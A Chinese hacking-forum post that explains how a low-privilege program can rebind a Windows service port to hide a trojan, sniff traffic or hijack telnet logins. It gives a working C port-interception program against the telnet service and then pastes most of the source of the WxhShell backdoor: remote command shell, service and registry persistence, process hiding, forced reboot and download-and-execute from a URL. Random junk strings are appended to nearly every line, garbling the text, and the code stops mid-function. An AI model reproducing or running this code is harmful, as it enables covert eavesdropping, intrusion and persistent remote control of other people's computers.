社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9673阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bogw/)1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x<&2`=  
$H\[yg>4  
  saddr.sin_family = AF_INET; pF0sXvWGG  
8+}yf.`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RLy2d'DS  
~H<oqk:O-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WY>r9+A?W  
18`YY\u(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5(9SIj^O  
pr~%%fCh  
  这意味着什么?意味着可以进行如下的攻击: 1co;U  
 +\Hh|Uz5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vR`#kxSdJ@  
fEv`iXZG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o7 :~C]  
r6,EyCWcCs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +,;"?j6<p  
9F~e^v]zp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Np2I*l6W  
Gy;>.:n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z--A:D>  
iX&eQ{LB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _cRCG1CJ  
tfKf*Um  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yr;~M{{4  
V yOuw9  
  #include @Sr{6g*I  
  #include !g`^<y!  
  #include wo#,c(  
  #include    (&Kv]--  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mM[KT} A  
  int main() *\-$.w)k  
  { =00c1v  
  WORD wVersionRequested; KD<smwXjG  
  DWORD ret; qsT@aSIo9  
  WSADATA wsaData; X_3*DqY  
  BOOL val; 21T#NYfew  
  SOCKADDR_IN saddr; CD! Aa  
  SOCKADDR_IN scaddr; yv;KKQ   
  int err; =K \xE"  
  SOCKET s; |&oTxx$S  
  SOCKET sc; p{vGc-zP .  
  int caddsize; bo-AM]  
  HANDLE mt; {}n]\zO %  
  DWORD tid;   hEh` cBO  
  wVersionRequested = MAKEWORD( 2, 2 ); '=WPi_Z5:C  
  err = WSAStartup( wVersionRequested, &wsaData ); s+-V^{Ht  
  if ( err != 0 ) { {V^|9j:\K  
  printf("error!WSAStartup failed!\n"); 94}y,\S~  
  return -1; "- ?uB Mz  
  } sd5)We  
  saddr.sin_family = AF_INET; w7%.EA{N  
   KXiStwS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $~,J8?)(z  
v,L@nlD]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W; zzc1v  
  saddr.sin_port = htons(23); |V&E q>G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W]oILL"d  
  { 1KadT7<0}  
  printf("error!socket failed!\n"); LTTMxiq[*  
  return -1; \v _R]0m\  
  } tu slkOE#  
  val = TRUE; zN&m-nrw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  X@Bg_9\i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +Ym#!"  
  { IcA]B?+  
  printf("error!setsockopt failed!\n"); 3(,c^F  
  return -1; { V$}qa{P  
  } 0<)Ep~!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; emMk*l,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vz]yJ:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +[` )t/   
"!R*f $  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jpkKdQX)  
  { +62}//_?  
  ret=GetLastError(); )tx2lyY:  
  printf("error!bind failed!\n"); d-jZ5nl(  
  return -1; tI<6TE'!p#  
  } bH g 0,N  
  listen(s,2); w$0*5n>)  
  while(1) )S9}uOG#  
  { 5^N y6t  
  caddsize = sizeof(scaddr); )Vo%}g?6!  
  //接受连接请求 6Z5$cR_vC7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ao"Z%#Jb~  
  if(sc!=INVALID_SOCKET) MM*9Q`cB  
  { (_R!:H(]m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?L"x>$  
  if(mt==NULL) H<"EE15  
  { Xdh@ ^`  
  printf("Thread Creat Failed!\n"); ~xJ ^YkyH  
  break; qOAhBZ~  
  } nK`H;k  
  } l%qfaU2  
  CloseHandle(mt); c~= {A  
  } 24*3m&fA*K  
  closesocket(s); l-2lb&n  
  WSACleanup(); s$~H{za  
  return 0; k>=wwPy  
  }   *, R ~[g  
  DWORD WINAPI ClientThread(LPVOID lpParam) ypNeTR$4  
  { y\:,.cZ+TQ  
  SOCKET ss = (SOCKET)lpParam; s>=$E~qq  
  SOCKET sc; 6n/KL  
  unsigned char buf[4096]; ]d*O>Pm  
  SOCKADDR_IN saddr; MfraTUxIo/  
  long num; ceLr;}?Ws  
  DWORD val; $#_^uWN-M  
  DWORD ret; mhF@S@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fO83 7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o3`0x9{  
  saddr.sin_family = AF_INET; m|[cEZxHB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I]B9+Z?xo  
  saddr.sin_port = htons(23); n65fT+;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .:/X~{  
  { UJ`%uLR~  
  printf("error!socket failed!\n"); PAiVUGp5[  
  return -1; (A;HB@)[A  
  } BbI),iP  
  val = 100; w_YY~Af  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7N0m7SC  
  { s%?<:9  
  ret = GetLastError(); R!WeSgKCs  
  return -1; ! &V,+}>)  
  } >Lz2zlZI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z=LO$,JW`  
  { tOPk x(  
  ret = GetLastError(); ^1ks`1  
  return -1; 5hB2:$C  
  } }J=zO8OL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $'lJ_ jL  
  { N mN:x&/  
  printf("error!socket connect failed!\n"); -Q!?=JNtQ  
  closesocket(sc); gKb5W094@  
  closesocket(ss); .|K\1qGW0  
  return -1; Pv@;)s(-  
  } Q1 vse  
  while(1) *OZ O} i  
  { 16I(S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BimM)4g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g: "Hg-s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1z[blNs&  
  num = recv(ss,buf,4096,0); 2K'}Vm+  
  if(num>0) uMP&.Y(  
  send(sc,buf,num,0); 3*b!]^d:D  
  else if(num==0) 5xG/>f n  
  break; LZu_-I  
  num = recv(sc,buf,4096,0); .]Z,O>N  
  if(num>0) ?/s=E+  
  send(ss,buf,num,0); upH%-)%'  
  else if(num==0) Xgm9>/y  
  break; k?=V?JWY  
  }  ]cI(||x  
  closesocket(ss); >JhIRf  
  closesocket(sc); Va'K~$d_  
  return 0 ; kC[nY  
  } RrqZ5Gonj  
?|Mmz@  
k)USLA  
========================================================== ,K[B/tD{j  
=;xlmndT,  
下边附上一个代码,,WXhSHELL 5 *>3(U  
l@YpgyqaL  
========================================================== yc5n   
[G|2m_  
#include "stdafx.h" VVje|T^{Z  
=U".L  
#include <stdio.h> 2=NYBOE  
#include <string.h> Bf88f<Z  
#include <windows.h> 7+u%]D!  
#include <winsock2.h> ^ihXM]1{G  
#include <winsvc.h> 73(T+6`  
#include <urlmon.h> 4%j&]PASa1  
_.06^5o  
#pragma comment (lib, "Ws2_32.lib") |,&!Q$<un  
#pragma comment (lib, "urlmon.lib") 0+:.9*g=k  
.]H]H*wC  
#define MAX_USER   100 // 最大客户端连接数 C12 7he  
#define BUF_SOCK   200 // sock buffer @+X}O /74  
#define KEY_BUFF   255 // 输入 buffer cCV"(Oo[H|  
L{fP_DIa  
#define REBOOT     0   // 重启 mLY*  
#define SHUTDOWN   1   // 关机 ,em6wIq,  
O x$|ZEh  
#define DEF_PORT   5000 // 监听端口 @7^#_772  
_@prv7e  
#define REG_LEN     16   // 注册表键长度 Dfhs@ z  
#define SVC_LEN     80   // NT服务名长度 *u{.K:.I  
/?XfVhA:A  
// 从dll定义API 4!}fCP ty  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t2Y~MyT/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #=.h:_9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !d0@^JbM"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -% f DfjP  
!Z'm@,+  
// wxhshell配置信息 rzBWk  
struct WSCFG { Y) t}%62  
  int ws_port;         // 监听端口 -<O:isB   
  char ws_passstr[REG_LEN]; // 口令 gwYd4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5~"=Fm<uD  
  char ws_regname[REG_LEN]; // 注册表键名 >SGSn/AJi  
  char ws_svcname[REG_LEN]; // 服务名 !aEp88u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jw[`_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tQ}gBE63  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &^7)yS+C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Z!ea3kAT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y d$37G|n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &sRJ'oc  
db XG?K][  
}; UK<"|2^sT  
yN o8R[M  
// default Wxhshell configuration %% >?<4t  
struct WSCFG wscfg={DEF_PORT, rN~`4mZ  
    "xuhuanlingzhe", ,i,=LGn  
    1, Jr9}'l8  
    "Wxhshell", %dU}GYL_  
    "Wxhshell", w g1pt1 `  
            "WxhShell Service", ^Bb_NcU  
    "Wrsky Windows CmdShell Service", :jX~]1hpmA  
    "Please Input Your Password: ", FTfA\/tl(;  
  1, ?:nZv< x  
  "http://www.wrsky.com/wxhshell.exe", M5V1j(URE  
  "Wxhshell.exe" Chup %F  
    }; z&0V21"l  
I@ k8^  
// 消息定义模块 Em;b,x*U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \PONaRK|[z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OQQ9R?Ll{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -!cAr <  
char *msg_ws_ext="\n\rExit."; ^-!HbbVv  
char *msg_ws_end="\n\rQuit."; w0!,1 Ry  
char *msg_ws_boot="\n\rReboot..."; pQY>  
char *msg_ws_poff="\n\rShutdown..."; (r4VIlap  
char *msg_ws_down="\n\rSave to "; ?Q3~n^  
U;GoC$b}|  
char *msg_ws_err="\n\rErr!"; wjJ1Psnx  
char *msg_ws_ok="\n\rOK!"; }6> J   
`yZZP   
char ExeFile[MAX_PATH]; Vcq?>mH&T  
int nUser = 0; => =x0gsgj  
HANDLE handles[MAX_USER]; lKUm_; m  
int OsIsNt; )X;cS} yp  
?myXG92  
SERVICE_STATUS       serviceStatus; O97bgj]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _%vqBr*  
'kvFU_)  
// 函数声明 ; ,<J:%s  
int Install(void); *v ^"4  
int Uninstall(void); "D(8]EG=  
int DownloadFile(char *sURL, SOCKET wsh); vCSB8R  
int Boot(int flag); FraW6T}_  
void HideProc(void); Xb-c`k~_  
int GetOsVer(void);  ,nR8l  
int Wxhshell(SOCKET wsl); 78CJ  
void TalkWithClient(void *cs); |u r~s$8y-  
int CmdShell(SOCKET sock); YB~t|m65  
int StartFromService(void); j(C UYm  
int StartWxhshell(LPSTR lpCmdLine); KR(} A"  
!muYn-4M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Ryss@o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v-fi9$#^  
2^#UO=ct  
// 数据结构和表定义 SM+fG:4d  
SERVICE_TABLE_ENTRY DispatchTable[] = @) ZO$h  
{ (TNY2Ke2 8  
{wscfg.ws_svcname, NTServiceMain}, u?;Vxh3@|  
{NULL, NULL} *X l<aNNx  
}; h+~df(S.  
Y\e]2  
// 自我安装 E(!6n= qR  
int Install(void) Va Yu%  
{ `m 3QT3B  
  char svExeFile[MAX_PATH]; V9j1j}  r  
  HKEY key; $l,Zd6<1q  
  strcpy(svExeFile,ExeFile); Dbdzb m7  
72ViPWW  
// 如果是win9x系统,修改注册表设为自启动 ^ ]qV8  
if(!OsIsNt) { Bd9hf`% 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yuo1'gE+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P%@rH@^Y  
  RegCloseKey(key); r7"Au"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +'['HQ)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rW~?0  
  RegCloseKey(key); 6{+_T  
  return 0; B >u,)  
    } '"w}gx  
  } L;S*.Ol>  
}  =Etwa  
else { mvTyx7 h=  
?S@R~y0K  
// 如果是NT以上系统,安装为系统服务 K 5qLBz@U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~+<xFi  
if (schSCManager!=0) oB0 8  
{ +t>*l>[  
  SC_HANDLE schService = CreateService n4WSV  
  ( 0ck&kpL:9  
  schSCManager, 4Hml.|$  
  wscfg.ws_svcname, chO'Q+pw  
  wscfg.ws_svcdisp, pymx\Hd,  
  SERVICE_ALL_ACCESS, R5K-KSvW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *f`s%&Y]s  
  SERVICE_AUTO_START, }2Cd1RnS  
  SERVICE_ERROR_NORMAL, W1?!iE~tO  
  svExeFile, XhE$&Ff  
  NULL, 7sud/*+F  
  NULL, >HcYVp~G  
  NULL, (|<h^] y3  
  NULL, }%!FMXe  
  NULL Z[#I"-Q~:  
  ); QT1:> k  
  if (schService!=0) ~VqFZasV  
  { 5;F P.{+  
  CloseServiceHandle(schService); uX<+hG.n}  
  CloseServiceHandle(schSCManager); ^e?$ ]JiA!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *|];f#^9  
  strcat(svExeFile,wscfg.ws_svcname); rWoe ?g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "JzfL(yt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vIVw'Z(g}  
  RegCloseKey(key); MV0<^/p|  
  return 0; oMh~5 W  
    } -l-AToO4  
  } "H5&3sF2  
  CloseServiceHandle(schSCManager); n 5~=qQK2  
} hz< |W5  
} 7<EJo$-j  
+jq 2pFQ  
return 1; >vQ6V'F  
} 5 R,la\!bQ  
0=OD?48<  
// 自我卸载 [#7y[<.P  
int Uninstall(void) H9%l?r5  
{ WYSck&9  
  HKEY key; R'G'&H{N  
@<vF]\Ce  
if(!OsIsNt) { `0yb?Nk `:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UskZ%J  
  RegDeleteValue(key,wscfg.ws_regname); `6rrXU6|  
  RegCloseKey(key); GS}0;x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w`M]0'zls  
  RegDeleteValue(key,wscfg.ws_regname); M$,Jg5Dc  
  RegCloseKey(key); ;US83%*  
  return 0; jZrY=f  
  } j: <t  
} -{!&/;Z  
} BwJNi6,  
else { HKpD 2M  
/ca(a\@R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +d=~LQ}*  
if (schSCManager!=0) a ]>VZOet  
{ mDZ=Due1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0HjJaML  
  if (schService!=0) M6\7FP6G  
  { /[0F6  
  if(DeleteService(schService)!=0) { F\JLbY{x]  
  CloseServiceHandle(schService); {n\6BTs  
  CloseServiceHandle(schSCManager); otU@X 3<_  
  return 0; ?3[tJreVj  
  } Y]~IY?I  
  CloseServiceHandle(schService); m+H%g"Zj  
  } # 2d,U\_  
  CloseServiceHandle(schSCManager); vsH3{:&;"P  
} B-$+UE>%  
} T 4eWbNSs  
T\jAk+$Jo  
return 1; L4~ W/6A  
} @2u#93Y  
6zuze0ud  
// 从指定url下载文件 `y'aH 'EEd  
int DownloadFile(char *sURL, SOCKET wsh) #aa1<-&H  
{ +1x)z~q=  
  HRESULT hr; =w6}\ 'X  
char seps[]= "/"; #L\o;p(  
char *token; O'OFz}x),  
char *file; F, zG;_  
char myURL[MAX_PATH]; 7g5@vYS+  
char myFILE[MAX_PATH]; 4HW;  
q4) Ey  
strcpy(myURL,sURL); c88_}%h?(  
  token=strtok(myURL,seps); ~zMDY F"&  
  while(token!=NULL) +ZX .1[O  
  { 5:$Xtq  
    file=token; bGu([VB  
  token=strtok(NULL,seps); y[7C% Wj  
  } u7[pLtOwN  
v[VC2D  
GetCurrentDirectory(MAX_PATH,myFILE); 3 tF:  
strcat(myFILE, "\\"); hD*(AJ  
strcat(myFILE, file); ^@K WYAAW5  
  send(wsh,myFILE,strlen(myFILE),0); BR3wX4i\  
send(wsh,"...",3,0); t?HF-zQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rfc|`*m}0  
  if(hr==S_OK) /eb-'m  
return 0; r,0@~;zA  
else 7C?E z%a@  
return 1; ZL,6_L/  
H~eGgm;p  
} ncj!KyU  
~pRs-  
// 系统电源模块 n_}aZB3;U  
int Boot(int flag) 2 ZK%)vq0  
{ ]q&tQJ/Fa  
  HANDLE hToken; 5/,Qz>QE[  
  TOKEN_PRIVILEGES tkp; >e/ r2U  
K'V 2FTJI  
  if(OsIsNt) { cf\&No?-p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >MPa38  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %0zS  
    tkp.PrivilegeCount = 1; - zQ<Z E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &//2eL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %jT w  
if(flag==REBOOT) { vzG ABP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .lr5!Stb  
  return 0; mqw 84u  
} <%&_#<C)  
else { h;nQxmJ9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %4/xH 9  
  return 0; ntZ~m  
} OT@yPG  
  } jqtVpNwM  
  else { 7O$ &  
if(flag==REBOOT) { /?U!y?t&@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TL'0T,Jo  
  return 0; cWM:  
} kV+ R5R  
else { c 6q/X*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1]Lh'.1^  
  return 0; h1-Gp3#  
} [8z&-'J=  
} #a'r_K=ch)  
U!Mf]3  
return 1; xl,ryc3J  
} [T]Bfo  
L;lk.~V4T  
// win9x进程隐藏模块 0 u2Ny&6w  
void HideProc(void) tah }^  
{ ~bGC/I;W>  
&F`L}#oL&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $L\@da?  
  if ( hKernel != NULL ) '$6PTa  
  { gwq`_/d}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IM]h*YV'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  p[Hr39o  
    FreeLibrary(hKernel); /=/ HB  
  } cd&B?\I  
ONfyYM?  
return; -=sf}4A  
} [zx|eG<&-  
oLw|uU-|  
// 获取操作系统版本 @ t|3gF$X  
int GetOsVer(void) 2rmNdvvrk  
{ &~ y{'zoL  
  OSVERSIONINFO winfo; qK,V$l(4#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; h9W\Se  
  GetVersionEx(&winfo); P9s_2KOF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D:)~%wu Lt  
  return 1; Bj8<@~bX:L  
  else m_$JWv\|\  
  return 0; zb?kpd}r  
} :P,2K5]y  
ydup)[n  
// 客户端句柄模块 >j:|3atb  
int Wxhshell(SOCKET wsl) ^}hZ'<PK  
{ L20rv:W$h  
  SOCKET wsh; 3>M.]w6{  
  struct sockaddr_in client; ,jTPg/r  
  DWORD myID; nzWQQra|?  
(V)9s\Le_  
  while(nUser<MAX_USER) *_#&"(P  
{ aP_3C_  
  int nSize=sizeof(client); 0Nt%YP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Fnzi0b  
  if(wsh==INVALID_SOCKET) return 1; |eF.ZC)QWh  
RQ|?Ce",  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #w;;D7{@m  
if(handles[nUser]==0) CWBbSGk  
  closesocket(wsh); M/l95fp   
else =EWD |<  
  nUser++; {zu/tCq?  
  } 8:<1|]]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J+i X,X  
F'XlJ M  
  return 0; %_)b>C18 y  
} F=: c5z  
]o `4Z"  
// 关闭 socket "raj>2@  
void CloseIt(SOCKET wsh) c[Yq5Bu{y  
{ PYaOH_X.  
closesocket(wsh); B]i+,u  
nUser--;  t9]r  
ExitThread(0); A>5S]  
} 9c%(]Rn:  
'h k @>"  
// 客户端请求句柄 ;=#qHo9k1%  
void TalkWithClient(void *cs) h ;jsH!  
{ IN>TsTo  
ypxC1E  
  SOCKET wsh=(SOCKET)cs; |]I#CdO  
  char pwd[SVC_LEN]; +Z]y #=  
  char cmd[KEY_BUFF]; ,I=O"z>9  
char chr[1]; 2AmR(vVa"  
int i,j; '&+Z,  
/1U,+g^O>  
  while (nUser < MAX_USER) { :3:)E  
3EAX]  
if(wscfg.ws_passstr) { /oBK&r[(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oA[2)BU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jjNxatAN  
  //ZeroMemory(pwd,KEY_BUFF); g}^4^88=a  
      i=0; (Jm(}X]sh[  
  while(i<SVC_LEN) { bl6':m+  
4D0(Fl  
  // 设置超时 Z5 w`-#  
  fd_set FdRead; ^o,y5 ,  
  struct timeval TimeOut; <ihhV e  
  FD_ZERO(&FdRead); @:I \\S@bN  
  FD_SET(wsh,&FdRead); zaQ$ Ht  
  TimeOut.tv_sec=8; \t[ hg  
  TimeOut.tv_usec=0; lrM.RM96  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +*WUH513  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T "ZQPLg  
]KfghRUH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YN$ndqOP  
  pwd=chr[0]; Aigcq38  
  if(chr[0]==0xd || chr[0]==0xa) { }mkA Hmu4  
  pwd=0; Z:W')Nd(  
  break; 3^uL`ETm@  
  } d{vc wZQ  
  i++; vy>];!Cu  
    } mg/C Ux  
g6tWU  
  // 如果是非法用户,关闭 socket &6=TtTp"9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E,"b*l.  
} yHV^a0e7EH  
>"2\D|-/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'US8"83  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QH~8 aE_i  
R] V~IDs   
while(1) { Xuz8"b5^Zx  
OgzGkc@A  
  ZeroMemory(cmd,KEY_BUFF); nA{ncTg1\  
][T9IAn  
      // 自动支持客户端 telnet标准   fJ|Bu("N  
  j=0; 3"2<T^H]  
  while(j<KEY_BUFF) { n]kQtjJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fS8XuT  
  cmd[j]=chr[0]; _ d(Ks9  
  if(chr[0]==0xa || chr[0]==0xd) { v ](G?L9b  
  cmd[j]=0; i75?*ld  
  break; `"^@[1  
  } =PeW$q+  
  j++; N7Z(lI|a;  
    } .j+2x[`l  
^Y*`D_-G  
  // 下载文件 f6(9wz$Trt  
  if(strstr(cmd,"http://")) { O4'kS @  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?[*@T2Ck  
  if(DownloadFile(cmd,wsh)) m,kv EQ3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8xeun~e"vS  
  else *R9mgv[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X7imUy'.  
  } .lNnY8<  
  else { umHs" d  
<7sF<KD  
    switch(cmd[0]) { |{}d5Z"5;}  
  ?$`1%Y9  
  // 帮助 KqG$zC^N  
  case '?': { ` i^`Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?()E5 4y  
    break; ]ZU:%Qhu  
  } z!Pdivx  
  // 安装 }hObtAS  
  case 'i': { (pRy1DH~  
    if(Install()) Rzn0-cG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3@RZe  
    else Kr+Bt y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A{n*NxKCX!  
    break; $O8EiC!f6  
    } h\: tUEg#J  
  // 卸载 /hA}9+/  
  case 'r': { =c5 /cpZ^  
    if(Uninstall()) Hi4@!]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5G42vTDzS4  
    else ;]O 7^s#v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rp4BU"&sU  
    break; 7p"~:1hU  
    } 6m;wO r  
  // 显示 wxhshell 所在路径 m%[2x#  
  case 'p': { DlQ[}5STF  
    char svExeFile[MAX_PATH]; C>(M+qXL+  
    strcpy(svExeFile,"\n\r"); *Tlws  
      strcat(svExeFile,ExeFile); /n<Ncf  
        send(wsh,svExeFile,strlen(svExeFile),0); xVwi }jtG|  
    break; cvLcre% >A  
    } 4)>\rqF+v  
  // 重启 ?6l,   
  case 'b': { S92 !jp/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MM58w3Mz  
    if(Boot(REBOOT)) #dn%KMo2r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $BO}D  
    else { EF7|%N  
